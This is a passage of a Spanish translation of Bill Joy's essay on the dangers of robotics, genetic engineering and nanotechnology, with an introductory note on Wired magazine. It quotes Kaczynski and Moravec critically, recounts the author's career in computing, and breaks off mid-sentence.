El	artículo	«Por	qué	el	futuro	no	nos	necesita»	salió	publicado	en	el	número	de	abril	de	2000
de	 la	 revista	 norteamericana	Wired.	 Wired	 es	 la	 publicación	 estrella	 de	 la	 industria	 de	 las
comunicaciones	y	la	alta	tecnología,	la	expansión	de	la	cual	acompañó	desde	principios	de	los	‘90.
Wired	rescata	las	historias	y	el	costado	creativo	de	las	nuevas	tecnologías,	e	incluye	en	sus	firmas
a	escritores	de	ciencia	ficción	como	Sterling,	Gibson	y	Stephenson.	Da	una	visión	celebratoria	y
despolitizada	de	los	efectos	de	la	tecnología	en	las	sociedades,	visión	que	aparece	cuestionada	en
el	artículo	de	Joy.

Desde	el	momento	en	que	me	involucré	en	la	creación	de	nuevas	tecnologías,	sus
dimensiones	éticas	me	han	interesado,	pero	fue	recién	en	el	otoño	de	1998	que	tomé
consciencia,	con	ansiedad,	de	lo	grandes	que	son	los	peligros	que	nos	esperan	en	el
siglo	XXI.	 Puedo	 situar	 en	 el	 tiempo	el	 inicio	de	mi	 incomodidad,	 en	 el	 día	 en	que
conocí	 a	Ray	Kurzweil,	 el	 famoso	 inventor	 de	 la	 primera	máquina	 de	 lectura	 para
ciegos	y	de	muchas	otras	cosas	asombrosas.

Ray	 y	 yo	 éramos	 ambos	 oradores	 en	 la	 conferencia	 de	 George	 Gilder	 en
Telecosm,	 y	 me	 encontré	 con	 él	 por	 casualidad	 en	 el	 bar	 del	 hotel	 luego	 de	 que
nuestras	sesiones	hubieran	terminado.	Yo	estaba	sentado	con	John	Searle,	un	filósofo
de	Berkeley	que	estudia	la	conciencia.	Mientras	hablábamos,	Ray	se	acercó	y	empezó
una	conversación,	cuyo	tema	me	persigue	hasta	el	día	de	hoy.

Yo	me	había	perdido	la	charla	de	Ray	y	el	panel	de	discusión	posterior	en	el	que
habían	estado	Ray	y	John,	y	ahora	ellos	retomaron	desde	donde	lo	habían	dejado,	con
Ray	 diciendo	 que	 los	 ritmos	 del	 avance	 de	 la	 tecnología	 iban	 a	 acelerarse	 y	 que
nosotros	íbamos	a	convertirnos	en	robots	o	a	fusionarnos	con	robots	o	algo	parecido,
y	 John	 respondía	 que	 esto	 no	 podía	 pasar,	 porque	 los	 robots	 no	 podían	 tener
conciencia.

Aunque	había	escuchado	esa	conversación	otras	veces,	siempre	había	sentido	que
los	robots	sensibles	pertenecían	al	reino	de	la	ciencia	ficción.	Pero	ahora,	de	alguien
por	 quien	 sentía	 respeto,	 estaba	 escuchando	 un	 argumento	 fuerte	 de	 que	 eran	 una
posibilidad	 a	 corto	 plazo.	 Me	 tomó	 por	 sorpresa,	 especialmente	 dada	 la	 probada
habilidad	de	Ray	de	imaginar	y	crear	el	futuro.	Yo	ya	sabía	que	nuevas	 tecnologías
como	la	ingeniería	genética	y	la	nanotecnología	estaban	dándonos	el	poder	de	rehacer
el	 mundo,	 pero	 un	 escenario	 realista	 y	 cercano	 de	 robots	 con	 inteligencia	 me
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descolocó.
Es	fácil	saturarse	de	esos	«adelantos».	Casi	 todos	 los	días	oímos	en	 las	noticias

algún	tipo	de	avance	tecnológico	o	científico.	Pero	ésta	no	era	una	predicción	común.
En	el	bar	del	hotel,	Ray	me	dio	una	prueba	de	impresión	de	su	libro	que	estaba	por
salir,	The	age	of	spiritual	machines	 [La	era	de	 las	máquinas	 espirituales][118],	en	el
que	 esbozaba	 una	 utopía	 que	 él	 veía	 en	 el	 futuro:	 los	 humanos	 estarían	 cerca	 de
obtener	 la	 inmortalidad	 a	 través	 de	 volverse	 una	 misma	 cosa	 con	 la	 tecnología
robótica.	Al	 leerlo,	mi	 sensación	de	 desagrado	 sólo	 se	 hizo	más	 intensa;	me	 sentía
seguro	de	que	él	tenía	que	estar	entendiendo	los	peligros,	entendiendo	la	probabilidad
de	un	resultado	negativo	por	ese	camino.

Todavía	me	sentí	peor	por	un	pasaje	en	que	se	describía	un	escenario	distópico:

El	nuevo	desafío	luddita
Primero	 imaginemos	 que	 los	 científicos	 informáticos	 tienen	 éxito	 en	 crear
máquinas	 inteligentes	 que	 pueden	 hacer	 todo	mejor	 que	 los	 seres	 humanos.
Entonces,	se	puede	esperar	que	todo	el	trabajo	lo	realicen	vastos	sistemas	de
máquinas	 altamente	 organizadas	 y	 que	 ya	 no	 sea	 necesario	 ningún	 esfuerzo
humano.	 Una	 de	 dos	 cosas	 pueden	 ocurrir.	 Se	 le	 podría	 permitir	 a	 las
máquinas	tomar	todas	las	decisiones	por	sí	mismas	sin	supervisión	humana,	o
bien	se	mantendría	el	control	humano	sobre	las	máquinas.

Si	se	 les	permite	a	 las	máquinas	tomar	todas	 las	decisiones,	no	podemos
hacer	ninguna	conjetura	acerca	de	los	resultados,	porque	es	imposible	adivinar
cómo	se	comportarían	tales	máquinas.	Solamente	señalamos	que	el	destino	de
la	 raza	 humana	 quedaría	 a	 merced	 de	 las	 máquinas.	 Se	 dirá	 que	 la	 raza
humana	 no	 sería	 nunca	 tan	 tonta	 como	 para	 dejarle	 todo	 el	 poder	 a	 las
máquinas.	 Pero	 no	 sugerimos	 ni	 que	 la	 raza	 humana	 entregaría	 el	 poder
voluntariamente	ni	que	las	máquinas	tomarían	el	poder	por	propia	iniciativa.
Lo	 que	 sugerimos	 es	 que	 la	 raza	 humana	 fácilmente	 podría	 dejarse	 llevar
hasta	 una	 posición	 de	 dependencia	 tal	 que	 las	 máquinas	 no	 tendrían	 otra
opción	práctica	que	asumir	todas	sus	decisiones.	Al	volverse	la	sociedad	y	los
problemas	que	enfrenta	más	y	más	complejos,	y	las	máquinas	volverse	más	y
más	inteligentes,	la	gente	dejará	que	las	máquinas	tomen	más	decisiones	por
ella,	 simplemente	porque	 las	decisiones	que	 tomen	 las	máquinas	producirán
mejores	 resultados	que	 las	decisiones	 tomadas	por	humanos.	Eventualmente
se	alcanzará	un	punto	en	el	que	las	decisiones	imprescindibles	para	mantener
funcionando	el	sistema	serán	tan	complejas	que	excederán	las	capacidades	de
los	 seres	 humanos	 de	 hacerlo	 correctamente.	 En	 ese	 punto	 las	 máquinas
tendrán	 el	 control	 efectivo.	 La	 gente	 sencillamente	 no	 podrá	 apagar	 las
máquinas,	 porque	 dependerán	 tanto	 de	 ellas	 que	 apagarlas	 equivaldría	 a
suicidarse.

Por	el	otro	lado,	es	posible	que	el	control	humano	sobre	las	máquinas	sea
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retenido.	 En	 ese	 caso	 el	 hombre	 promedio	 tendría	 control	 sobre	 ciertas
máquinas	 privadas,	 de	 su	 propiedad,	 como	 ser	 su	 auto	 o	 su	 computadora
personal,	 pero	 el	 control	 sobre	 grandes	 sistemas	 de	 máquinas	 quedará	 en
manos	de	una	pequeña	elite	—tal	como	sucede	hoy,	pero	con	dos	diferencias
—.	Gracias	a	técnicas	más	desarrolladas	la	elite	contará	con	un	mayor	control
sobre	 las	masas;	y	debido	a	que	el	 trabajo	humano	ya	no	 será	necesario	 las
masas	 serán	 superfluas,	 una	 carga	 inútil	 para	 el	 sistema.	 Si	 la	 elite
sencillamente	es	 impiadosa	podría	decidir	exterminar	 las	masas	humanas.	Si
es	 más	 humana	 podría	 emplear	 propaganda	 u	 otras	 técnicas	 psicológicas	 o
biológicas	para	reducir	los	índices	de	natalidad	hasta	que	la	masa	humana	se
extinga,	 dejándole	 el	 mundo	 a	 la	 elite.	 O,	 si	 la	 elite	 consiste	 en	 liberales
[liberals]	 de	 corazón	 blando,	 podrían	 decidir	 interpretar	 el	 papel	 de	 buenos
pastores	del	resto	de	la	raza	humana.	Cuidarán	de	que	las	necesidades	físicas
de	 todos	 estén	 satisfechas,	 de	 que	 los	 chicos	 sean	 criados	 bajo	 condiciones
psicológicas	higiénicas,	que	todos	tengan	un	sano	hobby	para	entretenerse,	y
que	cualquiera	que	se	sienta	insatisfecho	reciba	un	«tratamiento»	que	lo	cure
de	su	«problema».	Desde	ya,	la	vida	carecerá	de	sentido	a	tal	extremo	que	la
gente	tendrá	que	ser	reprogramada	biológica	o	psicológicamente	ya	sea	para
removerles	su	necesidad	del	proceso	de	poder	o	para	«sublimarles»	su	ansia
de	poder	hacia	algún	hobby	inofensivo.	Estos	seres	humanos	reprogramados
podrían	ser	felices	en	esa	sociedad,	pero	ciertamente	no	serán	libres.	Habrán
sido	reducidos	al	estatus	de	animales	domésticos.[119]

En	 el	 libro	 no	 se	 descubre,	 hasta	 que	 se	 da	 vuelta	 la	 página,	 que	 el	 autor	 del
fragmento	 es	 Theodore	 Kaczynski	 —el	 Unabomber—.	 No	 soy	 para	 nada	 un
apologista	de	Kaczynski.	Sus	bombas	mataron	a	tres	personas	durante	una	campaña
de	17	años	de	terror	e	hirieron	a	muchas	otras.	Una	de	sus	bombas	hirió	gravemente	a
mi	 amigo	 David	 Gelernter,	 uno	 de	 los	 más	 brillantes	 y	 visionarios	 científicos
informáticos	 de	 nuestro	 tiempo.	 Como	 muchos	 de	 mis	 colegas,	 yo	 sentí	 que
tranquilamente	podía	ser	el	siguiente	blanco	del	Unabomber.

Los	 actos	 de	 Kaczynski	 fueron	 asesinos	 y,	 creo,	 dementes.	 Claramente	 es	 un
luddita,	 pero	 decir	 esto	 no	 anula	 sus	 argumentos;	 tan	 difícil	 como	me	 resulta	 a	mí
aceptarlo,	 vi	 cierto	 mérito	 en	 el	 razonamiento	 de	 esta	 cita	 en	 especial.	 Me	 sentí
llamado	a	confrontarlo.

La	 visión	 distópica	 de	 Kaczynski	 describe	 consecuencias	 que	 no	 habían	 sido
previstas,	 un	 problema	 que	 es	 muy	 conocido	 en	 el	 diseño	 y	 uso	 de	 tecnología,
problema	claramente	 relacionado	a	 la	 ley	de	Murphy	—«Cualquier	cosa	que	pueda
salir	mal,	 saldrá	mal»—.	 (De	hecho,	 esta	 es	 la	 ley	 de	Finagle,	 lo	 que	 en	 sí	mismo
muestra	que	Finagle	tenía	razón).	Nuestro	excesivo	uso	de	antibióticos	ha	llevado	a	lo
que	 puede	 ser	 el	 mayor	 de	 estos	 problemas	 hasta	 ahora:	 la	 aparición	 de	 bacterias
resistentes	a	los	antibióticos	y	mucho	más	peligrosas.	Cosas	similares	pasaron	cuando
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los	 intentos	 de	 eliminar	 a	 los	mosquitos	 de	 la	malaria	 usando	DDT	 llevaron	 a	 que
éstos	 adquirieran	 resistencia	 al	DDT;	 al	mismo	 tiempo,	 los	 parásitos	 de	 la	malaria
adquirieron	genes	resistentes	a	múltiples	drogas.[120]

El	motivo	de	muchas	de	esas	sorpresas	parece	evidente:	los	sistemas	en	cuestión
son	complejos,	e	involucran	interacciones	y	relaciones	de	ida	y	vuelta	entre	muchos
componentes.	Cualquier	cambio	en	uno	de	éstos	sistemas	se	propagará	en	formas	que
son	muy	difíciles	de	predecir;	esto	es	especialmente	cierto	cuando	hay	involucradas
acciones	humanas.

Empecé	mostrándoles	a	amigos	la	cita	de	Kaczynski	en	La	era	de	las	máquinas
espirituales:	 les	 daba	 el	 libro	 de	 Kurzweil,	 dejaba	 que	 leyeran	 el	 fragmento,	 y
después	miraba	 cómo	 reaccionaban	 al	 enterarse	 de	 quién	 lo	 había	 escrito.	 Por	 esa
época,	 encontré	 el	 libro	 de	 Moravec	 Robot:	 Mere	 Machine	 to	 Trascendental
Mind[121].	 Moravec	 es	 uno	 de	 los	 líderes	 en	 la	 investigación	 en	 robótica,	 y	 fue
fundador	 del	 programa	 de	 investigación	 de	 robótica	más	 grande	 del	 mundo,	 en	 la
Universidad	 de	Carnegie	Mellon.	Robot	me	 dio	más	material	 para	 probar	 con	mis
amigos	—material	 que	 sorprendentemente	 apoyaba	 el	 argumento	 de	 Kaczynski—.
Por	ejemplo:

El	corto	plazo	(principios	de	década)
Las	especies	biológicas	casi	nunca	sobreviven	a	encuentros	con	competidores
superiores.	Diez	millones	de	años	atrás,	América	del	Norte	y	del	Sur	estaban
separadas	 por	 un	 istmo	 de	 Panamá	 hundido.	 Sud	 América,	 como	 hoy
Australia,	 estaba	 habitada	 por	 mamíferos	 marsupiales,	 incluyendo	 algunos
con	bolsas	abdominales	equivalentes	de	las	ratas,	ciervos	y	tigres.	Cuando	el
istmo	que	conectaba	el	Sur	con	el	Norte	emergió,	les	tomó	sólo	algunos	miles
de	 años	 a	 las	 especies	 placentadas	 del	 norte,	 con	 metabolismos	 y	 sistemas
nerviosos	y	reproductivos	un	poco	más	efectivos,	desplazar	y	eliminar	a	casi
todos	los	marsupiales	del	sur.

En	 un	 mercado	 totalmente	 libre,	 los	 robots	 superiores	 seguramente
afectarían	 a	 los	humanos	 como	 los	placentados	norteamericanos	 afectaron	 a
los	 marsupiales	 de	 Sudamérica	 (y	 como	 los	 humanos	 han	 afectado	 a
innumerables	 especies).	Las	 industrias	 robóticas	 competirían	 entre	 ellas	 con
vigor	por	materia,	energía,	y	espacio,	llevando	eventualmente	los	precios	más
allá	del	alcance	humano.	 Imposibilitados	de	afrontar	 las	necesidades	vitales,
los	humanos	biológicos	serían	obligados	a	desaparecer.

Con	seguridad	se	puede	respirar	tranquilos	todavía,	porque	no	vivimos	en
un	 mercado	 libre	 absoluto.	 Los	 gobiernos	 regulan	 los	 comportamientos,
especialmente	 recaudando	 impuestos.	 Aplicados	 con	 juicio,	 los	 frenos
gubernamentales	 podrían	 sostener	 a	 una	 población	 humana	 que	 viva	 con
calidad	de	los	frutos	del	trabajorobot,	quizás	por	un	largo	tiempo.
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Una	 distopía	 de	 manual	 —y	 Moravec	 recién	 está	 empezando—.	 Prosigue
discutiendo	 cómo	 nuestra	 principal	 ocupación	 en	 el	 siglo	 XXI	 será	 «garantizar
cooperación	 continua	de	 las	 industrias	 de	 robots»	mediante	 leyes	 que	declaren	que
éstos	deben	ser	«amigables»[122],	y	describiendo	qué	 tan	peligroso	puede	ser	un	ser
humano	«luego	de	convertirse	en	un	robot	superinteligente	sin	límites	establecidos».
La	 visión	 de	Moravec	 es	 que	 los	 robots	 eventualmente	 nos	 van	 a	 superar	 que	 los
humanos	se	enfrentan	abiertamente	a	la	extinción.

Decidí	que	era	hora	de	hablar	con	mi	amigo	Danny	Hillis.	Danny	se	hizo	famoso
como	 cofundador	 de	 Thinking	 Machines	 Corporation	 [Corporación	 de	 Máquinas
Pensantes],	que	construyó	una	muy	poderosa	supercomputadora	paralela.	Pese	a	mi
trabajo	 como	 Director	 Científico	 en	 Sun	 Microsystems,	 soy	 más	 arquitecto	 de
computadoras	 que	 científico,	 y	 respeto	 los	 conocimientos	 de	 Danny	 sobre	 ciencia
física	y	de	la	información	más	que	los	de	cualquier	otra	persona	que	conozca.	Danny
también	es	un	futurista	muy	influyente	que	piensa	a	largo	plazo	—cuatro	años	atrás
creó	la	Long	Now	Foundation	[Fundación	del	Largo	Presente],	que	está	construyendo
un	reloj	diseñado	para	durar	10	000	años,	en	un	intento	por	llamar	la	atención	acerca
de	lo	patéticamente	cortos	que	son	los	horizontes	de	tiempo	por	los	que	se	preocupa
nuestra	sociedad.[123]

Así	es	que	viajé	a	Los	Ángeles	nada	más	que	para	cenar	con	Danny	y	su	esposa,
Pati.	 Pasé	 por	mi	 rutina	 de	 contarles	 las	 ideas	 y	 fragmentos	 que	me	 resultaban	 tan
chocantes.	 La	 respuesta	 de	 Danny	 —en	 relación	 al	 escenario	 de	 Kurzweil	 de
humanos	 fundiéndose	 con	 robots—	 vino	 de	 inmediato,	 y	 me	 sorprendió.	 Dijo,
sencillamente,	 que	 los	 cambios	 sucederían	 gradualmente,	 y	 que	 nos
acostumbraríamos	a	ellos.

Pero	supongo	que	no	estaba	sorprendido	del	todo.	Había	visto	una	cita	de	Danny
en	el	libro	de	Kurzweil	en	la	que	decía:	«Quiero	tanto	a	mi	cuerpo	como	cualquiera,
pero	si	puedo	llegar	a	los	200	años	con	un	cuerpo	de	silicona,	lo	voy	a	aceptar».	Daba
la	 sensación	 de	 estar	 tranquilo	 con	 la	 manera	 en	 que	 se	 daban	 las	 cosas	 y	 sus
eventuales	riesgos,	mientras	que	yo	no.

Mientras	hablaba	y	pensaba	sobre	Kurzweil,	Kaczynski	y	Moravec,	de	pronto	me
acordé	de	una	novela	que	había	leído	unos	20	años	antes	—La	peste	blanca,	de	Frank
Herbert—	en	la	que	un	biólogo	molecular	se	vuelve	loco	por	el	asesinato	sin	sentido
de	su	familia.	Para	vengarse	crea	y	dispersa	una	plaga	nueva	y	contagiosa	que	mata
ampliamente	 pero	 de	 manera	 selectiva.	 (Tenemos	 suerte	 de	 que	 Kaczynski	 era
matemático,	 no	 biólogo	molecular).	 También	me	 vino	 a	 la	 mente	 el	 Borg	 de	 Star
Trek,	un	enjambre	de	criaturas	en	parte	biológicas	y	en	parte	robóticas	con	un	enorme
impulso	 destructivo.	 Las	 catástrofes	 Borg	 son	materia	 prima	 de	 la	 ciencia	 ficción,
entonces	¿por	qué	no	me	había	 angustiado	antes	por	distopías	 robóticas	 como	esa?
¿Por	 qué	 no	 había,	 además,	 otras	 personas	 preocupadas	 por	 estos	 escenarios	 de
pesadilla?
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Parte	de	la	respuesta	yace	en	nuestra	actitud	hacia	lo	nuevo	en	nuestra	disposición
a	 familiarizarnos	 rápido	 y	 a	 aceptar	 sin	 cuestionar.	 Acostumbrados	 a	 vivir	 con
adelantos	científicos	que	se	dan	casi	como	una	rutina,	todavía	tenemos	que	hacernos
la	 idea	 de	 que	 las	 tecnologías	 más	 seductoras	 del	 siglo	 XXI	—robótica,	 ingeniería
genética	y	nanotecnología—	plantean	una	amenaza	distinta	que	la	de	las	tecnologías
que	 han	 venido	 antes.	 Puntualmente,	 los	 robots,	 los	 organismos	 diseñados	 y	 la
nanotecnología	 comparten	 un	 peligroso	 factor	 amplificador:	 pueden
autoreplicarse[124].	 Una	 bomba	 se	 hace	 detonar	 una	 sola	 vez	 pero	 un	 robot	 puede
volverse	muchos,	y	rápidamente	salirse	de	control.

Gran	 parte	 de	 mi	 trabajo	 en	 los	 últimos	 25	 años	 estuvo	 centrado	 en	 redes	 de
computadoras,	 donde	 el	 envío	 y	 recepción	 de	 mensajes	 crea	 la	 posibilidad	 de
replicaciones	fuera	de	control.	Pero	mientras	que	la	replicación	en	una	computadora	o
una	 red	 de	 computadoras	 puede	 ser	 una	 gran	 molestia,	 a	 lo	 sumo	 cuelga	 una
computadora	 o	 hace	 caer	 un	 servicio	 de	 redes.	 La	 autoreplicación	 sin	 controles	 en
estas	 nuevas	 tecnologías	 conduce	 a	 riesgos	 mucho	 mayores:	 riesgo	 de	 daños
sustanciales	dentro	del	mundo	físico.

Cada	una	de	estas	 tecnologías,	 además,	 anuncia	grandes	promesas:	 la	visión	de
semiinmortalidad	que	Kurzweil	ve	en	sus	sueños	robóticos	nos	transporta	al	futuro;	la
ingeniería	genética	podría	pronto	dar	tratamientos,	e	incluso	curas,	para	la	mayoría	de
las	 enfermedades;	 y	 la	 nanotecnología	 y	 la	 nanomedicina	 pueden	 encargarse	 de
todavía	 más	 enfermedades.	 Juntas	 podrían	 extender	 de	 manera	 significativa	 el
promedio	 de	 nuestras	 expectativas	 de	 vida	 y	mejorar	 su	 calidad.	 Sin	 embargo,	 con
cada	 una	 de	 estas	 tecnologías,	 una	 serie	 de	 mínimos	 avances,	 importantes	 en	 sí
mismos,	conducen	hacia	una	acumulación	de	gran	poder	e,	inseparablemente,	de	gran
peligro.

¿Qué	era	distinto	en	el	siglo	XX?	Ciertamente,	las	tecnologías	en	que	se	basaban
las	armas	de	destrucción	masiva	(ADM)	—nucleares,	biológicas,	y	químicas	(NBQ)
—	 eran	 poderosas,	 y	 las	 armas	 eran	 una	 enorme	 amenaza.	 Pero	 fabricar	 armas
nucleares	requería,	al	menos	por	un	tiempo,	acceso	tanto	a	materiales	muy	escasos,	a
veces	 inconseguibles,	 como	 a	 información	 altamente	 protegida;	 los	 programas	 de
armas	biológicas	y	químicas	también	tendían	a	requerir	actividades	a	gran	escala.

Las	tecnologías	del	siglo	XXI	—genética,	nanotecnología,	y	robótica	(GNR)—	son
tan	 poderosas	 que	 pueden	 impulsar	 clases	 enteramente	 nuevas	 de	 accidentes	 y
abusos.	Todavía	más	 peligroso:	 por	 primera	 vez	 estos	 accidentes	 y	 abusos	 están	 al
alcance	 de	 individuos	 o	 grupos	 reducidos.	 No	 requerirán	 gran	 infraestructura	 ni
materiales	con	complicaciones.	El	conocimiento	bastará	para	poder	usarlas.

Así,	 tenemos	 la	posibilidad	ya	no	 sólo	de	 armas	de	destrucción	masiva	 sino	de
destrucción	 masiva	 habilitada	 por	 el	 conocimiento,	 siendo	 esta	 destructividad
ampliada	enormemente	por	el	poder	de	la	autoreplicación.

Yo	creo	que	no	es	una	exageración	decir	que	estamos	en	el	punto	más	elevado	de
la	 perfección	 del	mal	 extremo,	 un	mal	 cuya	 posibilidad	 va	más	 allá	 de	 la	 que	 las
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armas	 de	 destrucción	masiva	 le	 daban	 a	 los	 estados-nación,	 y	 que	 alcanza	 niveles
sorprendentes	y	terribles	de	acumulación	de	poder	en	manos	de	individuos	aislados.

Nada	en	la	manera	en	que	me	vi	relacionado	con	las	computadoras	me	insinuaba
que	iba	a	tener	que	hacerme	cargo	de	estos	temas.

Mi	 vida	 ha	 estado	 impulsada	 por	 una	 profunda	 necesidad	 de	 hacer	 preguntas	 y
hallar	 respuestas.	Cuando	 tenía	 3	 años,	 ya	 leía,	 por	 lo	 que	mi	 padre	me	 llevó	 a	 la
escuela,	 donde	 me	 senté	 en	 las	 rodillas	 del	 director	 y	 le	 leí	 un	 cuento.	 Empecé
temprano	la	escuela,	después	me	salteé	un	grado,	y	me	fugué	a	través	de	los	libros	—
estaba	increíblemente	motivado	para	aprender—.	Hacía	muchas	preguntas,	a	menudo
volviendo	locos	a	los	adultos.

En	la	adolescencia	estaba	muy	interesado	en	la	ciencia	y	la	tecnología.	Quería	ser
radio	 aficionado,	 pero	 no	 tenía	 plata	 para	 comprar	 el	 equipo.	 La	 radio	 y	 los
operadores	de	 radio	eran	 la	 Internet	de	 la	 época:	muy	adictiva,	y	bastante	 solitaria.
Más	allá	de	lo	económico,	mi	madre	bajó	el	pulgar	—no	iba	a	ser	radio	aficionado;	ya
era	demasiado	antisocial.

A	 lo	 mejor	 no	 tenía	 tantos	 amigos	 íntimos,	 pero	 estaba	 lleno	 de	 ideas.	 En	 la
secundaria,	 ya	 había	 descubierto	 a	 los	 grandes	 escritores	 de	 ciencia	 ficción.	 Me
acuerdo	 en	 especial	 de	 Have	 Spacesuit	 Will	 Travel	 de	 Heinlein,	 y	 Yo,	 Robot	 de
Asimov,	con	sus	Tres	Leyes	de	 la	Robótica.	Me	fascinaron	 las	descripciones	de	 los
viajes	en	el	espacio,	y	quería	tener	un	telescopio	para	mirar	las	estrellas;	dado	que	no
tenía	plata	para	comprar	o	hacer	uno,	sacaba	libros	de	construcción	de	telescopios	de
la	biblioteca	y,	en	su	lugar,	leía	sobre	la	manera	en	que	se	construían.	Volaba	en	mi
imaginación.

Los	jueves	a	la	noche	mis	padres	iban	al	bowling,	y	los	chicos	nos	quedábamos
solos	 en	 la	 casa.	 Era	 la	 noche	 del	 Star	 Trek	 original	 de	 Gene	 Roddenberry,	 y	 el
programa	 me	 causó	 una	 gran	 impresión.	 Terminé	 aceptando	 la	 noción	 de	 que	 los
humanos	tenían	un	futuro	en	el	espacio,	al	estilo	del	Far	West,	con	grandes	héroes	y
aventuras.	 La	 visión	 de	 Roddenberry	 de	 los	 siglos	 venideros	 era	 una	 de	 valores
morales	 firmes,	 basados	 en	 códigos	 como	 la	Directiva	Principal:	 no	 interferir	 en	 el
desarrollo	 de	 civilizaciones	menos	 avanzadas	 tecnológicamente.	Esto	 era	 algo	muy
atrapante	para	mí:	los	que	dominaban	ese	futuro	eran	humanos	con	ética,	no	robots,	y
yo	hice	propio	el	sueño	de	Roddenberry.

Me	destaqué	en	matemáticas	en	la	secundaria,	y	cuando	estudiaba	para	ingeniería
en	 la	 Universidad	 de	Michigan,	 seguí	 el	 plan	 de	 estudios	 de	 la	 especialización	 en
matemática.	Resolver	problemas	matemáticos	era	un	desafío	interesante,	pero	cuando
descubrí	 las	 computadoras	 encontré	 algo	mucho	mejor:	 una	máquina	 en	 la	 cual	 tú
podías	poner	un	programa	que	 intentaba	 resolver	un	problema,	y	 luego	 la	máquina
rápidamente	buscaba	la	solución.	La	computadora	tenía	nociones	muy	precisas	de	lo
correcto/lo	incorrecto,	lo	falso/lo	verdadero.	Eso	era	muy	seductor.

Tuve	 suerte	 y	 pude	 conseguir	 empleo	 programando	 algunos	 de	 los	 primeros
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modelos	 de	 supercomputadoras,	 y	 descubrí	 el	 poder	 sorprendente	 de	 las	 grandes
máquinas	para	simular	diseños	numéricamente	avanzados.	Cuando	fui	a	la	escuela	de
graduados	 en	Berkeley	 a	mediados	 de	 los	 ‘70,	 empecé	 a	 quedarme	 despierto	 hasta
tarde,	 o	 toda	 la	 noche,	 inventando	 nuevos	 mundos	 dentro	 de	 las	 máquinas.
Resolviendo	problemas.	Escribiendo	el	código	que	tanto	pedía	ser	escrito.

En	The	Agony	and	the	Ecstasy,	la	novela	biográfica	de	Irving	Stone	sobre	Miguel
Ángel,	Stone	describe	vivamente	cómo	Miguel	Ángel	sacaba	las	estatuas	de	la	piedra,
«rompiendo	el	hechizo	del	mármol»,	esculpiendo	con	las	imágenes	de	su	mente.[125]
En	mis	momentos	de	mayor	éxtasis,	el	software	en	la	computadora	se	me	aparecía	de
la	misma	manera.	Una	vez	que	me	 lo	había	 imaginado,	yo	sentía	que	ya	estaba	ahí
dentro,	en	la	computadora,	esperando	a	ser	liberado.	Pasar	la	noche	despierto	era	un
precio	pequeño	por	liberarlo	—por	darles	forma	concreta	a	las	ideas.

Después	de	unos	años	en	Berkeley	empecé	a	entregar	algo	del	software	que	había
estado	escribiendo	—un	sistema	 instructivo	de	Pascal,	utilitarios	de	Unix,	un	editor
de	texto	llamado	vi	(que	todavía	es	ampliamente	usado,	aunque	suene	raro,	más	de	20
años	 después)—	 a	 otros	 que	 tenían	 minicomputadoras	 similares,	 PDP-11	 y	 VAX.
Estas	aventuras	de	software	eventualmente	se	convirtieron	en	la	versión	de	Berkeley
del	 sistema	 operativo	 Unix,	 que	 se	 convirtió	 en	 un	 «éxito-desastre»	 personal	—lo
quería	 tanta	 gente	 que	 nunca	 terminé	 el	 doctorado—.	En	 cambio	 conseguí	 empleo
trabajando	 para	Darpa,	 poniendo	 el	 Berkeley	Unix	 en	 Internet	 y	 arreglándolo	 para
que	fuera	confiable	y	pudiera	correr	bien	programas	pesados	para	investigación.	Todo
esto	 era	 divertido	 y	 muy	 gratificante.	 Y,	 sinceramente,	 no	 vi	 robots	 por	 ahí,	 o	 en
ningún	lugar	de	los	alrededores.

Igualmente,	al	empezar	 los	 ‘80,	me	estaba	ahogando.	Las	entregas	sucesivas	de
Unix	 eran	 muy	 exitosas,	 y	 mi	 proyecto	 personal	 consiguió	 dinero	 y	 algunos
ayudantes,	 pero	 el	 problema	 en	Berkeley	 era	 siempre	 el	 espacio	 de	 la	 oficina,	más
que	el	dinero	—no	se	contaba	con	el	lugar	que	necesitaba	el	proyecto,	así	que	cuando
aparecieron	 los	 otros	 fundadores	 de	 Sun	Microsystems	me	 abalancé	 para	 unirme	 a
ellos—.	En	Sun,	las	largas	horas	siguieron	en	los	días	en	que	aparecían	las	primeras
estaciones	de	trabajo	y	las	computadoras	personales,	y	he	disfrutado	de	participar	en
la	creación	de	microprocesadores	avanzados	y	 tecnologías	de	 Internet	 como	Java	y
Jini.

De	 todo	 esto,	 pienso	 que	 queda	 claro	 que	 no	 soy	 un	 luddita.	 Por	 el	 contrario,
siempre	estuve	convencido	del	valor	de	la	investigación	científica	de	la	verdad	y	de	la
capacidad	 de	 la	 buena	 ingeniería	 para	 aportar	 progreso	 material.	 La	 Revolución
Industrial	ha	mejorado	incalculablemente	la	vida	de	todos	a	lo	largo	del	último	par	de
siglos,	 y	 siempre	 esperé	 que	 mi	 carrera	 participara	 en	 la	 creación	 de	 soluciones
valiosas	para	problemas	reales,	un	problema	a	la	vez.

No	he	sido	defraudado.	Mi	trabajo	ha	tenido	más	impacto	del	que	hubiera	soñado
y	ha	sido	usado	más	ampliamente	de	lo	que	hubiera	esperado.	He	pasado	los	últimos
20	 años	 tratando	 de	 descubrir	 cómo	 hacer	 para	 que	 las	 computadoras	 sean	 tan
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confiables	como	quiero	que	sean	(por	ahora	no	están	ni	cerca),	y	cómo	hacer	para	que
sean	fáciles	de	usar	(algo	que	tuvo	todavía	menos	éxito).	Pese	a	algunos	progresos,
los	problemas	que	quedan	son	todavía	desafíos	más	grandes.

Pero	 mientras	 estaba	 al	 tanto	 de	 los	 dilemas	 morales	 en	 relación	 a	 las
consecuencias	tecnológicas	de	campos	como	la	investigación	de	armas,	no	esperaba
enfrentarme	a	estos	temas	en	mi	propio	campo,	o	al	menos	no	tan	pronto.

A	lo	mejor	lo	que	pasa	es	que	suele	ser	difícil	ver	todo	el	panorama	mientras	estás
en	medio	de	los	cambios.	No	llegar	a	entender	las	consecuencias	de	las	invenciones
mientras	estamos	en	la	ola	de	los	descubrimientos	y	de	los	avances,	parecería	ser	un
error	común	en	científicos	y	tecnólogos;	nos	hemos	dejado	llevar	desde	hace	mucho
por	 el	 sobrecogedor	 deseo	 de	 saber,	 que	 es	 natural	 a	 la	 aventura	 científica,	 sin
detenernos	 a	 darnos	 cuenta	 de	 que	 el	 progreso	 hacia	 nuevas	 y	 más	 poderosas
tecnologías	puede	cobrar	vida	propia.

Me	he	dado	cuenta	hace	mucho	que	 los	grandes	avances	de	 la	 tecnología	de	 la
información	 vienen	 no	 del	 trabajo	 de	 científicos	 informáticos,	 de	 arquitectos	 de
computadoras	o	de	ingenieros	eléctricos	sino	de	investigadores	de	física.	Los	físicos
